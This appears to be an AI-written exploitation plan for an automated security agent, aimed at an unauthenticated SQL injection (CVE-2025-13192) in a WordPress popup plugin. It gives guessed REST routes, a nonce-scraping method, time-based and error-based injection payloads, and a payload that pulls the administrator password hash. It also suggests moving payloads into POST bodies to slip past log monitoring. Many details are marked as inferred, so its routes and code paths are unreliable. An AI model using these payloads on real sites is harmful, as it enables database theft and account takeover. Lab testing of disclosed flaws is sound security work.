Based on the vulnerability details for CVE-2025-13192, here is a structured exploitation research plan for an automated security agent.

---

Exploitation Research Plan: CVE-2025-13192

1. Vulnerability Summary

The "Popup builder with Gamification" plugin (up to version 2.2.0) contains multiple REST API endpoints that lack proper authorization checks and fail to use parameterized queries ($wpdb->prepare). Unauthenticated attackers can provide malicious SQL payloads through REST parameters, leading to SQL Injection. The vulnerability exists because user-supplied input is directly concatenated into SQL strings before being executed by $wpdb->query(), $wpdb->get_results(), or similar sinks.

2. Attack Vector Analysis

• Target Endpoint: WordPress REST API. The namespace is likely pbg/v1 (inferred from plugin initials) or popup-builder/v1 (inferred).
• Vulnerable Routes: Multiple routes are affected. Common targets in this plugin category include:
  • /wp-json/pbg/v1/stats/(?P<id>.*) (GET)
  • /wp-json/pbg/v1/popup/(?P<id>.*) (GET)
  • /wp-json/pbg/v1/submit-form (POST)
• Vulnerable Parameter: Likely id, popup_id, or form_id.
• Authentication: None required (Unauthenticated). The permission_callback for these routes likely returns __return_true.
• Preconditions: The plugin must be active. At least one popup or gamification element may need to be published for the route logic to trigger.

3. Code Flow (Inferred)

1. Registration: The plugin uses add_action('rest_api_init', ...) to register routes via register_rest_route().
2. Permissive Access: The permission_callback is either missing or set to a function returning true, allowing unauthenticated access.
3. Data Extraction: The handler function retrieves a parameter using $request->get_param('id').
4. The Sink: The retrieved parameter is interpolated into a raw SQL string:

   $id = $request->get_param('id');
   $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}pbg_stats WHERE popup_id = $id"); // VULNERABLE
   

5. Execution: The raw string is passed to $wpdb, allowing an attacker to break out of the query.

4. Nonce Acquisition Strategy

While many REST API endpoints require a _wpnonce for authenticated sessions, unauthenticated REST routes often do not require a nonce if they are designed for public-facing data (like tracking a popup view).

If a nonce is required (e.g., the wp_rest nonce), use the following strategy:

1. Identify Script Localization: Search for wp_localize_script in the plugin code to find where the REST URL and nonce are passed to the frontend.
2. Create Trigger Page:
   • Find a shortcode (e.g., [pbg-popup id="1"]).
   • wp post create --post_type=page --post_status=publish --post_content='[pbg-popup id="1"]' --post_title='Exploit Test'
3. Extract via Browser:
   • Navigate to the newly created page.
   • Use browser_eval to extract the nonce:
     browser_eval("window.pbg_obj?.nonce") (Variable name pbg_obj is inferred).

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability and then extract the administrator's password hash.

Step 1: Discover the Endpoint

Iterate through common plugin REST namespaces and endpoints to find one that returns a 200 OK or 400 Bad Request (indicating the route exists) rather than a 404.

• GET /wp-json/pbg/v1/stats/1
• GET /wp-json/pbg/v1/popup/1

Step 2: Confirmation (Time-Based)

Send a payload designed to delay the response.

• Request:

  GET /wp-json/pbg/v1/stats/1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a) HTTP/1.1
  Host: localhost
  

• Expected Result: Response time > 5 seconds.

Step 3: Data Extraction (Error-Based or Union)

If the endpoint reflects data, use a UNION SELECT. If not, use updatexml or extractvalue for error-based extraction (if display_errors is on) or stick to time-based.

• Payload (Extract DB Version):
  1 AND updatexml(1,concat(0x7e,version(),0x7e),1)
• Payload (Extract Admin Hash):
  1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)

6. Test Data Setup

1. Install Plugin: Ensure popup-builder-block version 2.2.0 is installed.
2. Create Content: Use WP-CLI to create at least one "Popup" post type if the plugin uses a custom post type.
   • wp post create --post_type=popup --post_title='Test Popup' --post_status=publish
3. Identify Table Names: Use wp db query "SHOW TABLES LIKE '%pbg%'".

7. Expected Results

• Success Indicator: A successful injection will be evidenced by a controlled delay in response time (time-based) or the appearance of database data/errors in the response body.
• HTTP Response: 200 OK with a payload result or 500 Internal Server Error containing SQL error text.

8. Verification Steps

After the http_request tool confirms the vulnerability:

1. Check Logs: Use tail -n 50 /var/log/apache2/error.log (if applicable) to see if SQL errors were logged.
2. Verify DB State: If the injection was used to modify data, use wp db query "SELECT ..." to verify the change.
3. Match with Source: Verify the vulnerable line in the plugin file (e.g., includes/class-rest-api.php) using grep -n "\$wpdb".

9. Alternative Approaches

• Boolean-Based Blind: If time-based is unstable, find a parameter that changes the response body (e.g., ?id=1 AND 1=1 vs ?id=1 AND 1=2).
• POST Method: Some REST handlers check $_REQUEST or get_params(), allowing the payload to be moved from the URL to a JSON or form-encoded POST body to bypass basic log monitoring.
• Namespace Variations: Try popup-builder-gamification/v1 or pbg-rest/v1 if the initial namespace guesses fail.